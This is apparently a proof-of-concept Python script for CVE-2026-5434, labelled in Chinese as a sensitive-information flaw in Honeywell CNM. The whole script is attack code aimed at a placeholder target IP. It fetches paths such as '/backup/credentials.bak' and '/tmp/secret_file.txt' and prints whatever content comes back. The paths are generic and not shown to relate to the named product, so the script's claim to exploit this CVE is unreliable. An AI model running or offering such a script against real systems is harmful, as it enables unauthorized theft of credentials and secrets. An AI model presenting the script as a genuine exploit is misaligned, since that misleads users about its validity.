CVE-2026-5434 霍尼韦尔CNM敏感信息插入漏洞

# PoC for CVE-2026-5434: Sensitive Information Insertion # Description: Checks for sensitive files in unintended directories. import requests def check_poc(target_ip): target_url = f"http://{target_ip}" # Common paths where sensitive info might be unintentionally stored paths_to_check = [ "/unintended_dir/config.ini", "/logs/sensitive_data.log", "/tmp/secret_file.txt", "/backup/credentials.bak" ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-5434-PoC/1.0)" } print(f"[*] Targeting: {target_url}") for path in paths_to_check: try: response = requests.get(target_url + path, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Potential sensitive data found at: {path}") print(f"[+] Content snippet: {response.text[:200]}") else: print(f"[-] {path} - Status: {response.status_code}") except Exception as e: print(f"Error connecting to {target_url}: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP check_poc(target)